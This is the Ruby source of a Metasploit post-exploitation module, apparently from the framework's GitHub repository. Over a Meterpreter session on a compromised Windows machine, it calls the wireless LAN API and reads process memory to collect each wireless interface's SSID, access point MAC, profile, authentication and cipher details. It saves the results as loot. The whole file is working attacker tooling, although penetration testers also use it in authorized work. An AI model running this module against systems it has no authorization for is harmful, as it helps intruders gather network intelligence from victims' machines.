metasploit-framework/modules/post/windows/wlan/wlan_current_connection.rb

318 lines
11 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Wireless Current Connection Info',
'Description' => %q{
This module gathers information about the current connection on each
wireless lan interface on the target machine.
},
'License' => MSF_LICENSE,
'Author' => ['theLightCosine'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def run
#Opens memory access into the host process
mypid = client.sys.process.getpid
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
@wlanapi = client.railgun.wlanapi
wlan_connections= "Wireless LAN Active Connections: \n"
wlan_handle = open_handle()
unless wlan_handle
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
print_error("On Windows XP this could also mean the Wireless Zero Configuration Service is turned off")
return
end
wlan_iflist = enum_interfaces(wlan_handle)
wlan_iflist.each do |interface|
connect_info = query_current_connection(wlan_handle, interface['guid'])
guid = guid_to_string(interface['guid'])
wlan_connection = "GUID: #{guid} \nDescription: #{interface['description']} \nState: #{interface['state']}\n"
if (connect_info)
wlan_connection << "\tMode: #{connect_info['mode']} \n\tProfile: #{connect_info['profile']} \n"
wlan_connection << "\tSSID: #{connect_info['ssid']} \n\tAP MAC: #{connect_info['bssid']} \n"
wlan_connection << "\tBSS Type: #{connect_info['type']} \n\tPhysical Type: #{connect_info['physical']} \n"
wlan_connection << "\tSignal Strength: #{connect_info['signal']} \n\tRX Rate: #{connect_info['rxrate']} \n"
wlan_connection << "\tTX Rate: #{connect_info['txrate']} \n\tSecurity Enabled: #{connect_info['security']} \n"
wlan_connection << "\toneX Enabled: #{connect_info['oneX']} \n\tAuthentication Algorithm: #{connect_info['auth']} \n"
wlan_connection << "\tCipher Algorithm: #{connect_info['cipher']} \n"
else
wlan_connection << "\tThis interface is not currently connected to a network\n"
end
print_good(wlan_connection)
wlan_connections << wlan_connection
end
wlan_connections.gsub!(/\x00/,"")
store_loot("host.windows.wlan.connections", "text/plain", session, wlan_connections, "wlan_connections.txt", "Wireless LAN Connections")
#close the Wlan API Handle
closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil)
if closehandle['return'] == 0
print_status("WlanAPI Handle Closed Successfully")
else
print_error("There was an error closing the Handle")
end
end
def open_handle
begin
wlhandle = @wlanapi.WlanOpenHandle(2,nil,4,4)
rescue
return nil
end
return wlhandle['phClientHandle']
end
def query_current_connection(wlan_handle, guid)
connection={}
conn_info = @wlanapi.WlanQueryInterface(wlan_handle,guid,7,nil,4,4,nil)
#Grab the pointer to our data structure. We skip voer the Interface State since we already have it
#We interpret the connection mode used first
pointer = conn_info['ppData']
pointer = (pointer + 4)
mode = @host_process.memory.read(pointer,4)
mode = mode.unpack("V")[0]
case mode
when 0
connection['mode'] = "A profile is used to make the connection."
when 1
connection['mode'] = "A temporary profile is used to make the connection."
when 2
connection['mode'] = "Secure discovery is used to make the connection."
when 3
connection['mode'] = "Unsecure discovery is used to make the connection."
when 4
connection['mode'] = "connection initiated by wireless service automatically using a persistent profile."
when 5
connection['mode'] = "Invalid connection mode."
else
connection['state'] = "Unknown connection Mode."
end
#Grab the wirelessprofile name used in the connection
pointer = (pointer+4)
profile = @host_process.memory.read(pointer,512)
connection['profile'] = profile.gsub(/\x00/,"")
#Check the size of the SSID value. If we get nothing back, the interface is not currently connected
#We return nil and deal with the results back in the calling function
pointer = (pointer+512)
len_ssid = @host_process.memory.read(pointer,4)
unless len_ssid.unpack("V")[0]
return nil
end
#Grabs the SSID of the BSS connected to
pointer = (pointer + 4)
ssid = @host_process.memory.read(pointer,32)
connection['ssid'] = ssid.gsub(/\x00/,"")
#Grabs what type of a BSS this is and itnerpretes it into human readable
pointer = (pointer + 32)
bsstype = @host_process.memory.read(pointer,4)
bsstype = bsstype.unpack("V")[0]
case bsstype
when 1
connection['type'] = "Infrastructure"
when 2
connection['type'] = "Independent"
when 3
connection['type'] = "Any"
else
connection['type'] = "Unknown BSS Type"
end
#Grabs the BSS MAC address
pointer = (pointer + 4)
bssid = @host_process.memory.read(pointer,6)
bssid = bssid.unpack("H*")[0]
bssid.insert(2,":")
bssid.insert(5,":")
bssid.insert(8,":")
bssid.insert(11,":")
bssid.insert(14,":")
connection['bssid'] = bssid
#Grabs the physical association type and interprets it into human readable
pointer = (pointer + 8)
phy_type = @host_process.memory.read(pointer,4)
phy_type = phy_type.unpack("V")[0]
case phy_type
when 1
connection['physical'] = "Frequency-hopping spread-spectrum (FHSS)"
when 2
connection['physical'] = "Direct sequence spread spectrum (DSSS)"
when 3
connection['physical'] = "Infrared (IR) baseband"
when 4
connection['physical'] = "Orthogonal frequency division multiplexing (OFDM)"
when 5
connection['physical'] = "High-rate DSSS (HRDSSS)"
when 6
connection['physical'] = "Extended rate PHY type"
when 7
connection['physical'] = "802.11n PHY type"
else
connection['physical'] = "Unknown Association Type"
end
#Grabs the signal strength value
pointer = (pointer + 8)
signal = @host_process.memory.read(pointer,4)
connection['signal'] = signal.unpack("V")[0]
#Grabs the recieve rate value
pointer = (pointer + 4)
rxrate = @host_process.memory.read(pointer,4)
connection['rxrate'] = rxrate.unpack("V")[0]
#Grabs the transmit rate value
pointer = (pointer + 4)
txrate = @host_process.memory.read(pointer,4)
connection['txrate'] = txrate.unpack("V")[0]
#Checks if security is enabled on this BSS
pointer = (pointer + 4)
security_enabled = @host_process.memory.read(pointer,4)
if security_enabled.unpack("V")[0] == 1
connection['security'] = "Yes"
else
connection['security'] = "No"
end
#Checks of 802.1x Authentication is used
pointer = (pointer + 4)
onex = @host_process.memory.read(pointer,4)
if onex.unpack("V")[0] == 1
connection['oneX'] = "Yes"
else
connection['oneX'] = "No"
end
#Determines wat Authentication Algorithm is being used
pointer = (pointer + 4)
algo = @host_process.memory.read(pointer,4)
algo = algo.unpack("V")[0]
case algo
when 1
connection['auth'] = "802.11 Open"
when 2
connection['auth'] = "802.11 Shared"
when 3
connection['auth'] = "WPA"
when 4
connection['auth'] = "WPA-PSK"
when 5
connection['auth'] = "WPA-None"
when 6
connection['auth'] = "RSNA"
when 7
connection['auth'] = "RSNA with PSK"
else
connection['auth'] = "Unknown Algorithm"
end
#Determines what Cipher is being used
pointer = (pointer + 4)
cipher = @host_process.memory.read(pointer,4)
cipher = cipher.unpack("V")[0]
case cipher
when 0
connection['cipher'] = "None"
when 1
connection['cipher'] = "WEP-40"
when 2
connection['cipher'] = "TKIP"
when 4
connection['cipher'] = "CCMP"
when 5
connection['cipher'] = "WEP-104"
when 256
connection['cipher'] = "Use Group Key"
when 257
connection['cipher'] = "WEP"
else
connection['cipher'] = "Unknown Cipher"
end
return connection
end
def enum_interfaces(wlan_handle)
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle,nil,4)
pointer= iflist['ppInterfaceList']
numifs = @host_process.memory.read(pointer,4)
numifs = numifs.unpack("V")[0]
interfaces = []
#Set the pointer ahead to the first element in the array
pointer = (pointer + 8)
(1..numifs).each do |i|
interface = {}
#Read the GUID (16 bytes)
interface['guid'] = @host_process.memory.read(pointer,16)
pointer = (pointer + 16)
#Read the description(up to 512 bytes)
interface['description'] = @host_process.memory.read(pointer,512)
pointer = (pointer + 512)
#Read the state of the interface (4 bytes)
state = @host_process.memory.read(pointer,4)
pointer = (pointer + 4)
#Turn the state into human readable form
state = state.unpack("V")[0]
case state
when 0
interface['state'] = "The interface is not ready to operate."
when 1
interface['state'] = "The interface is connected to a network."
when 2
interface['state'] = "The interface is the first node in an ad hoc network. No peer has connected."
when 3
interface['state'] = "The interface is disconnecting from the current network."
when 4
interface['state'] = "The interface is not connected to any network."
when 5
interface['state'] = "The interface is attempting to associate with a network."
when 6
interface['state'] = "Auto configuration is discovering the settings for the network."
when 7
interface['state'] = "The interface is in the process of authenticating."
else
interface['state'] = "Unknown State"
end
interfaces << interface
end
return interfaces
end
#Convert the GUID to human readable form
def guid_to_string(guid)
aguid = guid.unpack("H*")[0]
sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4]
sguid << "-" + aguid[20,12] + "}"
return sguid
end
end